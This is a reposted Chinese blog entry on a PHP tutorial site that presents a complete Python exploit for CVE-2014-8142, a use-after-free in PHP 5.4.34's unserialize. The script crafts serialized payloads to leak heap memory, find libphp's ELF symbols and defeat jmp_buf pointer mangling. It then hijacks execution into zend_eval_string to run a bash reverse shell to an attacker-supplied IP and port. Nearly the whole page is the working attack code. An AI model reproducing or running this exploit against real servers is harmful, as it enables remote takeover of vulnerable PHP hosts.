Home >Backend Development >PHP Tutorial >PHP 5.4.34 unserialize UAF exploit

PHP 5.4.34 unserialize UAF exploit

WBOY
WBOYOriginal
2016-06-20 12:26:421332browse

之前在Sebug沙龙分享的PHP 5.4.34 unserialize UAF exploit,EXP放到博客来,还有那天的PPT:

PHP反序列化UAF漏洞的研究与Exp编写

EXP代码:

'''php 5.4.34cve-2014-8142php server script content for this vulnerability:<?php$data = base64_decode($_GET['data']);echo serialize(unserialize($data));?>'''  import reimport pdbimport sysimport urllibimport urllib2import base64import structimport urlparse  if __name__ == '__main__':    if len(sys.argv) == 5:        target = urlparse.urlunsplit(('http', sys.argv[1], sys.argv[2], '', ''))    else:        print "Usage: python " + sys.argv[0] + " [TargetIP] [URI] [Reverse IP] [Reverse Port]"        sys.exit() def get_resp(data):    data = base64.b64encode(data)    data = urllib.quote(data)    req = urllib2.Request(url=target + "?data=" + data)    u = urllib2.urlopen(req)    resp = u.read()    return resp def read_memory(addr, count):    #read_memory(0x8048000, 0x4)    #read_memory(134512640, 4)     data = 'O:8:"stdClass":4:{'    data += 's:3:"123";a:10:{i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:4;i:5;i:5;i:6;i:6;i:7;i:7;i:8;i:8;i:9;i:9;i:10;i:10;}';    data += 's:3:"123";i:0;';    data += 'i:0;S:16:"' + struct.pack("I", addr) + struct.pack("I", count) + '\00\01\01\00\06\00\BB\BC";';    data += 'i:1;r:12;}';    #print data    resp = get_resp(data)    #print resp    start = resp.rfind("s:" + str(count) +  ":\"") + len("s:" + str(count) +  ":\"")    end = resp.rfind("\";}")    mem = resp[start:end]    return mem def format_to_hex(value):    return format(value, "#04x") def hex_to_dec(value):    return int(value, 16) def find_func_addr(function_name, strtab_section_addr, symtab_section_addr, libphp_base):    strtab_count = 0x1000    symtab_cont = 0x5000     func_dynstr_offset = 0    func_symtab_offset = 0     while True:        strtab_section = read_memory(strtab_section_addr, strtab_count)        pos = strtab_section.find("\x00" + function_name + "\x00")         if pos !=-1:            func_dynstr_offset = pos + 1            print "[+] Found " + function_name + " strtab offset is " + format_to_hex(func_dynstr_offset)            break         strtab_count = strtab_count + 0x1000     while True:        symtab_section = read_memory(symtab_section_addr, symtab_cont)         while symtab_section:            if struct.unpack("I", symtab_section[:4])[0] == func_dynstr_offset:                func_symtab_offset = struct.unpack("I", symtab_section[4:8])[0]                break            symtab_section = symtab_section[16:]         if func_symtab_offset:            break         symtab_cont = symtab_cont + 0x1000     print "[+] Found " + function_name + " symtab offset is " + format_to_hex(func_symtab_offset)    func_addr = libphp_base + func_symtab_offset;    print "[+] Found " + function_name + " addr at " + format_to_hex(func_addr)    return func_addr # Rotate left: 0b1001 --> 0b0011rol = lambda val, r_bits, max_bits: \    (val << r_bits%max_bits) & (2**max_bits-1) | \    ((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits))) # Rotate right: 0b1001 --> 0b1100ror = lambda val, r_bits, max_bits: \    ((val & (2**max_bits-1)) >> r_bits%max_bits) | \    (val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1)) print "[+] Determining endianess of system" data = 'O:8:"stdClass":4:{'data += 's:3:"123";a:10:{i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:4;i:5;i:5;i:6;i:6;i:7;i:7;i:8;i:8;i:9;i:9;i:10;i:10;}'data += 's:3:"123";i:0;'data += 'i:0;S:17:"\00\01\00\00AAAA\00\01\01\00\01\00\BB\BC\CC";'data += 'i:1;r:12;}' resp = get_resp(data)m = re.findall("\:(\d*)\;\}", resp) if m:    if int(m[0]) == 256:        print "[+] System is little endian"    elif int(m[0]) == 65535:        print "[+] System is big endian" data = 'O:8:"stdClass":6:{'data += 's:3:"123";a:40:{i:0;i:0;i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:4;i:5;i:5;i:6;i:6;i:7;i:7;i:8;i:8;i:9;i:9;i:10;i:10;i:11;i:11;i:12;i:12;i:13;i:13;i:14;i:14;i:15;i:15;i:16;i:16;i:17;i:17;i:18;i:18;i:19;i:19;i:20;i:20;i:21;i:21;i:22;i:22;i:23;i:23;i:24;i:24;i:25;i:25;i:26;i:26;i:27;i:27;i:28;i:28;i:29;i:29;i:30;i:30;i:31;i:31;i:32;i:32;i:33;i:33;i:34;i:34;i:35;i:35;i:36;i:36;i:37;i:37;i:38;i:38;i:39;i:39;}'data += 's:3:"456";a:40:{i:0;i:0;i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:4;i:5;i:5;i:6;i:6;i:7;i:7;i:8;i:8;i:9;i:9;i:10;i:10;i:11;i:11;i:12;i:12;i:13;i:13;i:14;i:14;i:15;i:15;i:16;i:16;i:17;i:17;i:18;i:18;i:19;i:19;i:20;i:20;i:21;i:21;i:22;i:22;i:23;i:23;i:24;i:24;i:25;i:25;i:26;i:26;i:27;i:27;i:28;i:28;i:29;i:29;i:30;i:30;i:31;i:31;i:32;i:32;i:33;i:33;i:34;i:34;i:35;i:35;i:36;i:36;i:37;i:37;i:38;i:38;i:39;i:39;}'data += 's:3:"456";i:1;'data += 's:3:"789";a:20:{i:100;O:8:"stdclass":0:{}i:0;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:101;O:8:"stdclass":0:{}i:1;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:102;O:8:"stdclass":0:{}i:2;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:103;O:8:"stdclass":0:{}i:3;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:104;O:8:"stdclass":0:{}i:4;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:105;O:8:"stdclass":0:{}i:5;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:106;O:8:"stdclass":0:{}i:6;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:107;O:8:"stdclass":0:{}i:7;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:108;O:8:"stdclass":0:{}i:8;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";i:109;O:8:"stdclass":0:{}i:9;S:17:"\41\41\41\41\00\04\00\00\00\01\01\00\06\00\BB\BC\CC";}'data += 's:3:"789";i:0;'data += 'i:1;r:56;}' resp = get_resp(data)start = resp.rfind(":\"") + 2end = resp.rfind("\";}")mem = resp[start:end]fmt = fmt = "%dI" % (len(mem) // 4)leak_heap_addr = list(struct.unpack(fmt, mem))index = 0 for i in leak_heap_addr:    if i == 0x5:        std_object_handlers_addr = format_to_hex(leak_heap_addr[index - 2])    index = index + 1 if std_object_handlers_addr:    print "[+] Found std_object_handlers_addr address to be " + std_object_handlers_addr print "[+] Leaking std_object_handlers"mem = read_memory(hex_to_dec(std_object_handlers_addr), 0x70)fmt = fmt = "%dI" % (len(mem) // 4)leak_heap_addr = list(struct.unpack(fmt, mem))std_object_handlers = [] for i in leak_heap_addr:    std_object_handlers.append(format_to_hex(i)) print "Retrieved std_object_handlers" + str(std_object_handlers)min_addr = min(i for i in std_object_handlersif hex_to_dec(i) > 0)print "[+] Optimized to " + min_addrprint "[+] Scanning for executable header"libphp_base = (hex_to_dec(min_addr) & ~0xfff) while True:    try:        mem = read_memory(libphp_base, 4)    except:        continue     if (mem == "\x7fELF"):        break     libphp_base -= 0x1000 print "[+] ELF header Found at " + format_to_hex(libphp_base)mem = read_memory(libphp_base, 0x1000)print "[+] Retrieving and parsing ELF header"program_header = mem[52:] while True:    if struct.unpack("I", program_header[:4])[0] == 2:        dynamic_section_addr =  libphp_base + struct.unpack("I", program_header[8:12])[0]        break     program_header = program_header[32:] print "[+] ELF dynamic section Found at " + format_to_hex(dynamic_section_addr)dynamic_section = read_memory(dynamic_section_addr, 0x118) while True:    if (struct.unpack("I", dynamic_section[:4])[0] == 5) and (struct.unpack("I", dynamic_section[8:12])[0] == 6):        strtab_section_addr =  struct.unpack("I", dynamic_section[4:8])[0]        symtab_section_addr =  struct.unpack("I", dynamic_section[12:16])[0]        break    dynamic_section = dynamic_section[8:] print "[+] ELF strtab section Found at " + format_to_hex(strtab_section_addr)print "[+] ELF symtab section Found at " + format_to_hex(symtab_section_addr)php_execute_script_addr =  find_func_addr("php_execute_script", strtab_section_addr, symtab_section_addr, libphp_base)zend_eval_string_addr =  find_func_addr("zend_eval_string", strtab_section_addr, symtab_section_addr, libphp_base)executor_globals_addr =  find_func_addr("executor_globals", strtab_section_addr, symtab_section_addr, libphp_base)jmpbuf_addr = struct.unpack("I", read_memory(executor_globals_addr + 288, 0x4))[0]print "[+] Found jmpbuf at " + format_to_hex(jmpbuf_addr)print "[+] Attempt to crack JMPBUF"mem = read_memory(jmpbuf_addr, 0x18)fmt = "%dI" % (len(mem)//4) jmp_buf = list(struct.unpack(fmt, mem))mem = read_memory(php_execute_script_addr, 0x100)fmt = "%dB" % (len(mem))mem_list = list(struct.unpack(fmt, mem)) count = 0set_jmp_ret_addr = 0 for i in mem_list:     if (i == 0xe8) and (mem_list[count+5] == 0x31) and (mem_list[count+7] == 0x85):        set_jmp_ret_addr =  php_execute_script_addr + count + 5        jmp_to_ret_addr = php_execute_script_addr + count + 15 + struct.unpack("I", mem[(count+11):(count+15)])[0]     count = count + 1 print "[+] Determined stored EIP value %s from pattern match"%format_to_hex(set_jmp_ret_addr)pointer_guard = ror(jmp_buf[5], 9, 32) ^ set_jmp_ret_addrprint "[+] Calculated pointer_guard value is %s"%format_to_hex(pointer_guard)unmangled_esp = ror(jmp_buf[4], 9, 32) ^ pointer_guardprint "[+] Unmangled stored ESP is %s"%format_to_hex(unmangled_esp)mem = read_memory(jmpbuf_addr-0x1000, 0x1000)print "[+] Checking memory infront of JMPBUF for overwriting possibilities" i = 0count = 0valid_addr = [] while True:    addr = jmpbuf_addr - 0x1000 + count    if (struct.unpack("B", mem[count:count+1])[0] == 0x30) and (struct.unpack("B", mem[count+1:count+2])[0] == struct.unpack("B", mem[count+2:count+3])[0] == struct.unpack("B", mem[count+3:count+4])[0] == 0):        valid_addr.append(addr)     i = i + 1    count = count + 1     if len(mem[i:]) < 4:        break if valid_addr:    print "[+] Found 0x30 at " + format_to_hex(valid_addr[0]) + " using it as overwrite trampoline"     addr1 = valid_addr[0]+8    count1 = 39    addr2 = valid_addr[0]+ 48    count2 = 111    addr3 = valid_addr[0]+ 160    count3 = 111    addr4 = valid_addr[0]+ 272    count4 = 111     php_code = "system(\"bash -c 'bash -i >& /dev/tcp/" + sys.argv[3] + "/" + sys.argv[4] + " 0>&1'\");\00"    old_cwd = struct.pack("I", jmpbuf_addr)    return_addr = struct.pack("I", jmp_to_ret_addr)    php_code_addr = struct.pack("I", jmpbuf_addr + 40)    retval_ptr = "\00" * 4    string_name = php_code_addr    ebx = struct.pack("I", jmp_buf[0])    esi = struct.pack("I", jmp_buf[1])    edi = struct.pack("I", jmp_buf[2])    ebp = struct.pack("I", jmp_buf[3])    esp = struct.pack("I", rol((jmpbuf_addr + 24) ^ pointer_guard, 9, 32))    eip = struct.pack("I", rol(zend_eval_string_addr ^ pointer_guard, 9, 32))    junk =  "A" * (127 - len(ebx + ebx + ebx + esi + edi + ebp + esp + eip + return_addr + php_code_addr + retval_ptr + string_name + php_code))     data = 'O:8:"stdClass":17:{'    data += 'S:3:"123";a:40:{i:0;i:0;i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:4;i:5;i:5;i:6;i:6;i:7;i:7;i:8;i:8;i:9;i:9;i:10;i:10;i:11;i:11;i:12;i:12;i:13;i:13;i:14;i:14;i:15;i:15;i:16;i:16;i:17;i:17;i:18;i:18;i:19;i:19;i:20;i:20;i:21;i:21;i:22;i:22;i:23;i:23;i:24;i:24;i:25;i:25;i:26;i:26;i:27;i:27;i:28;i:28;i:29;i:29;i:30;i:30;i:31;i:31;i:32;i:32;i:33;i:33;i:34;i:34;i:35;i:35;i:36;i:36;i:37;i:37;i:38;i:38;i:39;i:39;}'    data += 'S:3:"456";a:40:{i:0;i:0;i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:4;i:5;i:5;i:6;i:6;i:7;i:7;i:8;i:8;i:9;i:9;i:10;i:10;i:11;i:11;i:12;i:12;i:13;i:13;i:14;i:14;i:15;i:15;i:16;i:16;i:17;i:17;i:18;i:18;i:19;i:19;i:20;i:20;i:21;i:21;i:22;i:22;i:23;i:23;i:24;i:24;i:25;i:25;i:26;i:26;i:27;i:27;i:28;i:28;i:29;i:29;i:30;i:30;i:31;i:31;i:32;i:32;i:33;i:33;i:34;i:34;i:35;i:35;i:36;i:36;i:37;i:37;i:38;i:38;i:39;i:39;}'    data += 'S:3:"456";i:1;'    data += 's:3:"789";a:20:{i:100;O:8:"stdclass":0:{}i:0;S:16:"' + struct.pack("I", addr1) + struct.pack("I", count1) + '\00\00\00\00\06\00\BB\BC";i:101;O:8:"stdclass":0:{}i:1;S:16:"' + struct.pack("I", addr1) + struct.pack("I", count1) + '\00\00\00\00\06\00\BB\BC";i:102;O:8:"stdclass":0:{}i:2;S:16:"' + struct.pack("I", addr1) + struct.pack("I", count1) + '\00\00\00\00\06\00\BB\BC";i:103;O:8:"stdclass":0:{}i:3;S:16:"' + struct.pack("I", addr1) + struct.pack("I", count1) + '\00\00\00\00\06\00\BB\BC";i:104;O:8:"stdclass":0:{}i:4;S:16:"' + struct.pack("I", addr1) + struct.pack("I", count1) + '\00\00\00\00\06\00\BB\BC";i:105;O:8:"stdclass":0:{}i:5;S:16:"' + struct.pack("I", addr1) + struct.pack("I", count1) + '\00\00\00\00\06\00\BB\BC";i:106;O:8:"stdclass":0:{}i:6;S:16:"' + struct.pack("I", addr4) + struct.pack("I", count4) + '\00\00\00\00\06\00\BB\BC";i:107;O:8:"stdclass":0:{}i:7;S:16:"' + struct.pack("I", addr3) + struct.pack("I", count3) + '\00\00\00\00\06\00\BB\BC";i:108;O:8:"stdclass":0:{}i:8;S:16:"' + struct.pack("I", addr2) + struct.pack("I", count2) + '\00\00\00\00\06\00\BB\BC";i:109;O:8:"stdclass":0:{}i:9;S:16:"' + struct.pack("I", addr1) + struct.pack("I", count1) + '\00\00\00\00\06\00\BB\BC";}'    data += 'S:3:"abc";r:53;'    data += 'S:3:"abc";i:1;'    data += 'S:3:"def";S:39:"\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\x78\x00\00\00\01\00\00";'    data += 'S:3:"ghi";r:56;'    data += 'S:3:"ghi";i:1;'    data += 'S:3:"jkl";S:111:"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBB' + old_cwd + 'DDDD\x78\x00\00\00\01\00\00";'    data += 'S:3:"mno";r:59;'    data += 'S:3:"mno";i:1;'    data += 'S:3:"pqr";S:111:"\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\x88\x00\00\00\01\00\00";'    data += 'S:3:"stu";r:62;'    data += 'S:3:"stu";i:1;'    data += 'S:3:"vwx";S:127:"' + ebx + ebx + ebx + esi + edi + ebp + esp + eip + return_addr + php_code_addr + retval_ptr + string_name + php_code + junk + '";'    data += 'O:8:"DateTime":1:{s:10:"_date_time";s:25:"-001-11-30T00:00:00+01:00";}}'     print "[+] Returning into PHP... Spawning a shell to " + sys.argv[3] + " at port " + sys.argv[4]    resp = get_resp(data)

Statement:
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn